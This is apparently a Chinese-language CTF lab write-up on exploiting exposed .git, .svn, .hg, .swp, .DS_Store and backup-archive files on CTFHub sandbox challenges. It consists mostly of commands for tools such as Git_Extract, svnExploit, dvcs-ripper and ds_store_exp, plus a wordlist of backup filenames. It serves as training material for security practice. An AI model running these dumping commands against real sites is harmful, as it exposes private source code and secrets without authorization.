1.git源码泄露
git泄露(一篇文章就够了)-CSDN博客
1.1.CTF-Hub Git log信息泄露
目录扫描,发现存在.git泄露

如果运行时报错

按提示执行这个命令:git config –global init.defaultBranch
1
2
|
git config --global init.defaultBranch
git log //查看提交历史
|

1.直接使用git show查看最近一次提交(仅适用于修改数据量较小时使用)

2.使用git diff比较不同版本的差异(推荐)
1
2
|
git diff commit1 commit2
git diff 62a06bc17a444943221427e24b873a868769f636 8680523ff38c06e3407f519a6ffddc79d4b34a93
|

3.使用git回滚,将版本回退至删除flag之前的版本
1
|
git reset --hard <commit>
|

这时版本会回到刚刚增加flag的版本,打开获取网站的文件夹会发现新增了一个文本文件,打开就是flag

1.2.以CTFHUB的web-git泄露-stash为例
1
2
3
4
5
|
使用GitHack无法获取Flag
git show / git log
git stash list
git stash pop
|
使用git stash list查看暂存的代码,然后使用git stash pop将代码从暂存堆栈中拉去出来

使用Git_Extract工具,这个是自动解析不用git stash等操作,直接得到flag
https://github.com/gakki429/Git_Extract
1
|
python2 git_extract.py http://challenge-a1b2543fac4ab8fb.sandbox.ctfhub.com:10800/.git/
|

2.SWP源码泄露
CTFHub技能树-备份文件下载-vim缓存_ctfhub vim缓存-CSDN博客
1
|
wget challenge-801aa09cb1ad910e.sandbox.ctfhub.com:10800/.index.php.swp -p /Desktop
|
3.SVN源码泄露
SVN源码泄露利用原理+实战_seay svn-CSDN博客
1
2
3
4
5
|
关于svn利用分两个版本一个版本是svn>1.6,还有一个是svn<1.6
svn>1.6,文件名会被hash,然后再按照文件名对应hash的方式存到wc.db中,就是个sqlite数据库。最后我们按照名称遍历下载即可。
svn<1.6,文件会先去读取entries文件的中的目录结构,因为默认文件名都是直接明文存的。
|
使用dirsearch扫描目录发现存在SVN源码泄露

直接打开下载的数据库文件

使用SVNExploit进行利用
https://github.com/admintony/svnExploit
1
|
python SvnExploit.py -u http://challenge-e49be4310b567375.sandbox.ctfhub.com:10800/.svn --dump
|

https://github.com/kost/dvcs-ripper
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
git clone https://github.com/kost/dvcs-ripper.git
sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl # 安装依赖
./rip-svn.pl -v -u http://challenge-3791c896116904b4.sandbox.ctfhub.com:10800/.svn/
cd .svn
hhj@tux:~/dvcs-ripper/.svn$ tree
.
├── entries
├── format
├── pristine
│ ├── 64
│ │ └── 64f6f2d33c84cc20c4946c17234cb1f36efb1779.svn-base
│ └── bf
│ └── bf45c36a4dfb73378247a6311eac4f80f48fcb92.svn-base
├── text-base
├── tmp
└── wc.db
|

4.hg源码泄露
使用dirsearch,发现存在.hg泄露

下载https://github.com/kost/dvcs-ripper
1
|
./rip-hg.pl -v -u http://challenge-fe23aeae94eb0a0f.sandbox.ctfhub.com:10800/.hg
|


1
2
|
访问
http://challenge-fe23aeae94eb0a0f.sandbox.ctfhub.com:10800/flag_2218424738.txt
|

5.DS_Store源码泄露
DS_Store源码泄露文件是由 macOS 生成的隐藏文件,当它们暴露在 Web 服务器上时,可能会无意中泄露敏感的目录信息。
https://github.com/lijiejie/ds_store_exp
1
|
python ds_store_exp.py https://cezeri.test.com/.DS_Store
|
6.压缩文件源码泄露
使用目录扫描工具进行扫描即可,可以构造一些不常见字典(域名/IP/包括类名等等)
1
2
3
4
5
|
www.rar
www.zip
www.xxx.com.zip
127.0.0.1.zip
com.user.controller.zip ....
|